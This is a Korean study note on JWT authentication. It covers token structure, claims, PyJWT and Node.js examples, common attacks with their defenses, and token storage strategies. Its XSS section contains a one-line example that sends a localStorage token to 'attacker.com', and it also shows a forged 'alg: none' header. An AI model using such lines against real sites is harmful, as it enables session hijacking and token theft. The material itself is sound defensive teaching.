상위: Web Security
요약
JWT(JSON Web Token)는 당사자 간 정보를 안전하게 전송하기 위한 토큰 형식입니다. 서명되어 있어 변조 감지가 가능하며, 서버가 세션 상태를 유지하지 않아도 됩니다(Stateless).
JWT 구조
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4iLCJpYXQiOjE1MTYyMzkwMjJ9.
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
┌─────────────┐ ┌─────────────┐ ┌─────────────┐
│ Header │ . │ Payload │ . │ Signature │
│ (Base64) │ │ (Base64) │ │ │
└─────────────┘ └─────────────┘ └─────────────┘
1. Header (헤더)
{
"alg": "HS256", // 서명 알고리즘
"typ": "JWT"
}
| 알고리즘 | 유형 | 설명 |
|---|---|---|
| HS256 | 대칭키 | HMAC + SHA-256 |
| RS256 | 비대칭키 | RSA + SHA-256 |
| ES256 | 비대칭키 | ECDSA + SHA-256 |
| none | 없음 | ⚠️ 서명 없음 (위험) |
2. Payload (페이로드)
{
"sub": "1234567890", // Subject (사용자 ID)
"name": "John Doe", // 사용자 정의 클레임
"admin": true,
"iat": 1516239022, // Issued At (발급 시간)
"exp": 1516242622 // Expiration (만료 시간)
}
표준 클레임 (Registered Claims)
| 클레임 | 설명 |
|---|---|
iss | Issuer (발급자) |
sub | Subject (주체, 사용자 ID) |
aud | Audience (대상) |
exp | Expiration Time (만료 시간) |
iat | Issued At (발급 시간) |
nbf | Not Before (활성화 시간) |
jti | JWT ID (고유 식별자) |
3. Signature (서명)
HMACSHA256(
base64UrlEncode(header) + "." + base64UrlEncode(payload),
secret
)
목적: 토큰 변조 감지
Session vs JWT
| 항목 | Session | JWT |
|---|---|---|
| 저장 위치 | 서버 (메모리/DB) | 클라이언트 |
| 확장성 | 서버 부담 증가 | 쉬움 (Stateless) |
| 무효화 | 쉬움 (세션 삭제) | 어려움 (만료까지 유효) |
| 크기 | 작음 (세션 ID만) | 큼 (데이터 포함) |
| XSS | 영향 적음 (HttpOnly) | 취약 (localStorage 저장 시) |
| CSRF | 취약 | 덜 취약 (쿠키 아님) |
인증 흐름
┌─────────┐ ┌─────────────┐
│ Client │ │ Server │
└────┬────┘ └──────┬──────┘
│ 1. 로그인 요청 │
│ (username, password) │
│───────────────────────────────▶│
│ │
│ 2. JWT 발급 │
│ {access_token, refresh_token} │
│◀───────────────────────────────│
│ │
│ 3. API 요청 │
│ Authorization: Bearer {token} │
│───────────────────────────────▶│
│ │
│ 4. 토큰 검증 후 응답 │
│◀───────────────────────────────│
구현 예시
Python (PyJWT)
import jwt
from datetime import datetime, timedelta
SECRET_KEY = "your-secret-key"
# 토큰 생성
def create_token(user_id):
payload = {
"sub": user_id,
"iat": datetime.utcnow(),
"exp": datetime.utcnow() + timedelta(hours=1)
}
return jwt.encode(payload, SECRET_KEY, algorithm="HS256")
# 토큰 검증
def verify_token(token):
try:
payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
return payload
except jwt.ExpiredSignatureError:
return None # 만료됨
except jwt.InvalidTokenError:
return None # 유효하지 않음
Node.js (jsonwebtoken)
const jwt = require('jsonwebtoken');
const SECRET_KEY = 'your-secret-key';
// 토큰 생성
function createToken(userId) {
return jwt.sign(
{ sub: userId },
SECRET_KEY,
{ expiresIn: '1h' }
);
}
// 토큰 검증
function verifyToken(token) {
try {
return jwt.verify(token, SECRET_KEY);
} catch (error) {
return null;
}
}
Express 미들웨어
function authMiddleware(req, res, next) {
const authHeader = req.headers.authorization;
if (!authHeader || !authHeader.startsWith('Bearer ')) {
return res.status(401).json({ error: 'No token provided' });
}
const token = authHeader.split(' ')[1];
const payload = verifyToken(token);
if (!payload) {
return res.status(401).json({ error: 'Invalid token' });
}
req.user = payload;
next();
}
JWT 보안 취약점
1. None Algorithm Attack
// 공격자가 헤더 조작
{
"alg": "none", // 서명 검증 우회
"typ": "JWT"
}
방어:
# 알고리즘 명시적 지정
jwt.decode(token, SECRET_KEY, algorithms=["HS256"]) # "none" 거부
2. Algorithm Confusion (RS256 → HS256)
서버가 RS256 (비대칭키) 사용
→ 공격자가 HS256으로 변경
→ 공개키를 비밀키로 사용하여 서명
→ 서버가 공개키로 검증 시 통과
방어:
# 허용할 알고리즘 명시
jwt.decode(token, PUBLIC_KEY, algorithms=["RS256"])
3. Weak Secret Key
# 취약한 키
SECRET_KEY = "secret" # 쉽게 추측 가능
# 안전한 키
import secrets
SECRET_KEY = secrets.token_hex(32) # 64자 랜덤 문자열
4. XSS를 통한 토큰 탈취
// localStorage에 저장된 토큰 탈취
fetch('https://attacker.com/steal?token=' + localStorage.getItem('token'));
방어:
- HttpOnly 쿠키에 저장 (XSS로 접근 불가)
- 또는 메모리에만 저장 (새로고침 시 재발급)
5. 토큰 무효화 불가
사용자가 로그아웃해도 토큰은 만료까지 유효
→ 탈취된 토큰 계속 사용 가능
방어:
- 짧은 만료 시간 (15분)
- Refresh Token Rotation
- 블랙리스트 (토큰 ID 저장) - Stateless 장점 상실
Access Token + Refresh Token
┌─────────────────────────────────────────────────────┐
│ Token Strategy │
├─────────────────────────────────────────────────────┤
│ Access Token │ 짧은 수명 (15분) │
│ │ API 요청에 사용 │
│ │ 탈취되어도 빠르게 만료 │
├─────────────────────────────────────────────────────┤
│ Refresh Token │ 긴 수명 (7일) │
│ │ 새 Access Token 발급에만 사용 │
│ │ HttpOnly 쿠키에 저장 │
│ │ DB에 저장하여 무효화 가능 │
└─────────────────────────────────────────────────────┘
Refresh Token Rotation
1. Refresh Token으로 새 토큰 요청
2. 새 Access Token + 새 Refresh Token 발급
3. 기존 Refresh Token 무효화
4. 탈취된 토큰 사용 시 전체 무효화
JWT 저장 위치
| 위치 | XSS | CSRF | 추천 |
|---|---|---|---|
| localStorage | 취약 | 안전 | ❌ |
| sessionStorage | 취약 | 안전 | ❌ |
| HttpOnly Cookie | 안전 | 취약 | ⚠️ |
| Memory | 안전 | 안전 | ✅ (새로고침 시 재발급 필요) |
추천 방식
Access Token → 메모리 (JavaScript 변수)
Refresh Token → HttpOnly + Secure + SameSite Cookie
검증 체크리스트
def verify_jwt(token):
# 1. 서명 검증
# 2. 알고리즘 확인 (허용된 것만)
# 3. 만료 시간 (exp) 확인
# 4. 발급자 (iss) 확인
# 5. 대상 (aud) 확인
payload = jwt.decode(
token,
SECRET_KEY,
algorithms=["HS256"],
options={
"require": ["exp", "iss", "sub"],
"verify_exp": True,
"verify_iss": True
},
issuer="https://myapp.com"
)
return payload
관련 개념
참고 자료
- JWT.io - JWT 디버거
- RFC 7519 - JWT 표준
- Auth0 JWT Handbook